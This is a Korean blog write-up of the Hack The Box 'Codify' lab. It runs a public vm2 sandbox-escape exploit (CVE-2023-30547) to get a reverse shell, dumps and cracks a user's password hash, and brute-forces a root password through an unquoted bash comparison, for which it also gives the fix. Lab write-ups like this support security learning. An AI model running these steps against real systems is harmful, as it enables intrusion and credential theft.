Oh! JUN

[Hack The Box] codify 본문

문제풀이/Hack The Box

[Hack The Box] codify

Kwon Oh! JUN 2024. 2. 16. 16:23

1. 정보수집

1.1. nmap을 활용한 스캔

nmap -sV 10.10.11.239 -T5


2. 초기접근

2.1. 'CVE-2023-30547' 샌드박스 탈출 및 임의의 코드 실행

http://codify.htb/editor

'codify' 사이트에서 node.js editor 입력칸을 확인할 수 있음.


http://codify.htb/about

vm2 라이브러리는 JavaScript 샌드박싱을 위해 널리 사용되고 신뢰할 수 있는 도구입니다.

'codify' 사이트에 대해서 찾아보니까 vm2 라이브러리에 대한 취약점을 찾아볼 수 있었음.


wget https://raw.githubusercontent.com/Cur1iosity/CVE-2023-30547/main/CVE-2023-30547.py

해당 github에서 vm2 라이브러리에 대한 exploit을 다운받음.


python3 CVE-2023-30547.py -m reverse_shell -t http://codify.htb/run -p 4321 -i 10.10.14.68

"http://codify.htb/run" 사이트를 대상으로 reverse shell을 실행시킴.

 

 

GitHub - Cur1iosity/CVE-2023-30547: Tool for exploring CVE-2023-30547

Tool for exploring CVE-2023-30547. Contribute to Cur1iosity/CVE-2023-30547 development by creating an account on GitHub.

github.com


nc -lvp 4321

reverse shell 받을 포트를 열어두면 연결되는것을 확인할 수 있음.


2.2. 'ticket.db'에서 계정 찾기

find / -name "*.db" 2>/dev/null

어떤 정보를 얻을 수 있나 찾아보다가 *.db 검색해보니 다양한 DB 파일을 확인할 수 있었는데 '/var/www/contact' 웹 서버를 관리하는 디렉터리에서 'tickets,db' 발견할 수 있었음.


sqlite3 tickets.db
.tables

cat 명령어 사용해서 .db 파일을 확인할 수도 있지만, 뒤죽박죽으로 나와서 sqlite3 사용해서 'tickets.db' 파일에 대해 확인해봤음. 'tickets', 'users' 테이블이 존재하는것을 확인할 수 있었음.


select * from users;

'users' 테이블에서 joshua의 hash PW를 확인할 수 있었음. john 도구를 사용해서 크랙할꺼임.


2.3. Hash PW 복호화

sudo mousepad hash.txt

크랙할 id:pw를 hash.txt에 저장했음.


john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

john 도구를 사용해서 크랙한 결과 joshua : spongebob1 를 확인할 수 있음.


2.4. 'joshua' 계정으로 ssh 접속하기

ssh joshua@10.10.11.239

joshua 계정정보를 이용해서 ssh 연결을 했음.


cat user.txt

'user.txt' flag를 확인할 수 있음.


3. 권한 상승

3.1. 'mysql-backup.sh' 쉘 분석

sudo -l

joshua 계정으로  sudo로 수행할 수 있는 명령어를 확인해봤는데 mysql-backup.sh 쉘 파일을 실행할 수 있음. 


cat mysql-backup.sh

mysql-backup.sh 파일을 실행시켜보니까 '$DB_PASS == $USER_PASS' DB의 패스워드와 USER의 패스워드가 같아야됨. 


https://rextester.com/l/bash_online_compiler

'$DB_PASS == $USER_PASS' 이 구문의 문제점은 변수에서 *와 같은 특수문자가 텍스트 처리되지 않고 제 기능으로 실행될 수 있다는거임.

DB_PASS = kwonohjun1234, USER_PASS = kwo* 변수를 지정하면 "password confirmed!' 출력하는것을 확인할 수 있음.

이 취약점을 이용해서 k, k1, k13 ... 이런식으로 문자 하나씩 무차별 대입하면 패스워드를 확인할 수 있음.

 

* 해결법 :  "$DB_PASS" == "$USER_PASS" 변수에 (") 처리해서 텍스트로써 인식하게끔 해줘야됨.

 


cd /tmp

/tmp 임시 폴더로 이동해서 무차별 대입하는 코드를 작성해야 실행할 수 있음. (권한 때문에)


vi test.py

구문 결과
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" "Password Confirmation Failed"
"echo ''b* | sudo /opt/scripts/mysql-backup.sh"
"Password Confirmation Failed"
"echo ''c* | sudo /opt/scripts/mysql-backup.sh" "Password Confirmed!"
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" "Password Confirmation Failed"
"echo ''b* | sudo /opt/scripts/mysql-backup.sh" "Password Confirmed!"
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" "Password Confirmation Failed"
... ...

해당코드는 위의 표처럼 'mysql-backup.sh' 파일의 입력에  a,b,c,... 문자를 무차별 대입해서 패스워드를 알아내는 코드임.


python3 test.py

'kljh12k3jhaskjh12kjh3' 패스워드를 알아낼 수 있었음.


su root

root 권한을 얻기 위한 시도를 하였고 성공했음.


cat root.txt

'문제풀이 > Hack The Box' 카테고리의 다른 글

[Hack The Box] crafty (보류 => 문제해결 => 또 안됨)  (0) 2024.02.20
[Hack The Box] bizness  (0) 2024.02.19
[Hack The Box] analytics  (0) 2024.02.14
[Hack The Box] devvortex  (0) 2024.02.14
[Hack The Box] cozyhosting  (0) 2024.02.13